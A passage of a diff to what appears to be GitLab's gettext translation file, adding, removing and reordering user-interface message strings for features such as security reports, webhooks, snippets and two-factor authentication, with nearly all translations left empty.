msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -19949,6 +20533,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20018,9 +20605,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20054,9 +20638,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20069,12 +20650,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20123,15 +20698,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20682,6 +21254,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20820,6 +21398,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20850,6 +21431,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -20898,6 +21482,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -20940,6 +21527,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,7 +21828,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21769,6 +22389,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21781,6 +22407,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22095,19 +22727,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22203,6 +22835,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22359,6 +23003,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22488,10 +23135,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23388,6 +24035,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23436,6 +24086,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23448,6 +24101,9 @@ msgstr ""
msgid "Tags"
msgstr "標籤"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23694,9 +24356,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,14 +24392,11 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23797,6 +24456,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23851,6 +24513,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -23951,13 +24619,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -23996,6 +24664,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24113,6 +24784,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24188,12 +24862,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24206,6 +24883,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24356,19 +25036,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24392,6 +25072,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24422,7 +25105,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24596,9 +25279,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24761,15 +25441,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24830,6 +25510,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25201,9 +25884,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25288,9 +25968,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25312,9 +25998,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25375,6 +26058,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25519,6 +26205,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25588,9 +26277,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25606,10 +26304,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25792,7 +26502,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -25882,6 +26592,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -25963,9 +26676,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -25981,7 +26691,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26056,7 +26766,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26146,9 +26856,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26200,9 +26907,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26446,9 +27150,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26482,6 +27192,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26518,6 +27231,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26560,6 +27276,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26760,6 +27482,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26823,9 +27548,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -26967,7 +27689,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27012,6 +27734,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27033,21 +27839,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27057,6 +27863,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27373,10 +28182,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27385,6 +28194,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27394,6 +28209,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
